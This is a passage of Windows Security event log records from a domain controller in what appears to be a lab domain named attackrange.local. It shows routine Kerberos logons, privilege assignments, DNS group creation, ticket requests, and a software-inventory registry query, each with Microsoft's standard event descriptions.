	Logon ID:		0x7DFE2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49699

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248294
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7DFE2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248293
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7DA57

New Group:
	Security ID:		ATTACKRANGE\DnsUpdateProxy
	Group Name:		DnsUpdateProxy
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	DnsUpdateProxy
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4742
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Computer Account Management
OpCode=Info
RecordNumber=248292
Keywords=Audit Success
Message=A computer account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7DC88

Computer Account That Was Changed:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-
	DNS Host Name:		-
	Service Principal Names:	
		ldap/win-dc-725.attackrange.local/attackrange.local
		ldap/win-dc-725.attackrange.local
		ldap/WIN-DC-725
		ldap/win-dc-725.attackrange.local/ATTACKRANGE
		ldap/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local
		ldap/WIN-DC-725/ATTACKRANGE
		E3514235-4B06-11D1-AB04-00C04FC2DCD2/8895e047-912a-4468-a586-e230159c0f25/attackrange.local
		HOST/win-dc-725.attackrange.local/attackrange.local
		HOST/win-dc-725.attackrange.local
		HOST/WIN-DC-725
		HOST/win-dc-725.attackrange.local/ATTACKRANGE
		HOST/WIN-DC-725/ATTACKRANGE
		RPC/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local
		RestrictedKrbHost/WIN-DC-725
		RestrictedKrbHost/win-dc-725.attackrange.local
		GC/win-dc-725.attackrange.local/attackrange.local
		DNS/win-dc-725.attackrange.local

Additional Information:
	Privileges:		-
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248290
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x7DC88
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49698

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248289
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7DC88

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248288
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		ATTACKRANGE\DnsAdmins
	Group Name:		DnsAdmins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248287
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

New Group:
	Security ID:		ATTACKRANGE\DnsAdmins
	Group Name:		DnsAdmins
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	DnsAdmins
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248286
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x7DA57
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49696

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248285
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7DA57

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=248284
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{472F4383-364A-400B-26FB-F685AC8C6C37}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=248283
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		WIN-DC-725$
	Supplied Realm Name:	ATTACKRANGE.LOCAL
	User ID:			ATTACKRANGE\WIN-DC-725$

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:45:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248353
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x82981

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:45:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248352
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x82981
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		54517

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248351
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x82981

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248350
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8292A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:45:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248349
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8292A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		54516

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248348
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8292A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248358
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x85B99
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{14053761-D189-9272-DC08-424B393741D5}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248357
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x85B99

Privileges:		SeAuditPrivilege
			SeImpersonatePrivilege
			SeAssignPrimaryTokenPrivilege
03/11/2021 11:45:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=248356
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F7E1966E-EA0D-D10C-3A7B-F269BD4923AD}

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x60810010
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:45:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=248355
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F7E1966E-EA0D-D10C-3A7B-F269BD4923AD}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:45:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=248354
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		WIN-DC-725$
	Supplied Realm Name:	attackrange.local
	User ID:			ATTACKRANGE\WIN-DC-725$

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:45:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248359
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x478
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /d /c C:\Windows\system32\silcollector.cmd configure

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248362
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf90
	New Process Name:	C:\Windows\System32\reg.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xe00
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\reg.exe  query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248361
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe00
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xee0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248360
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef8
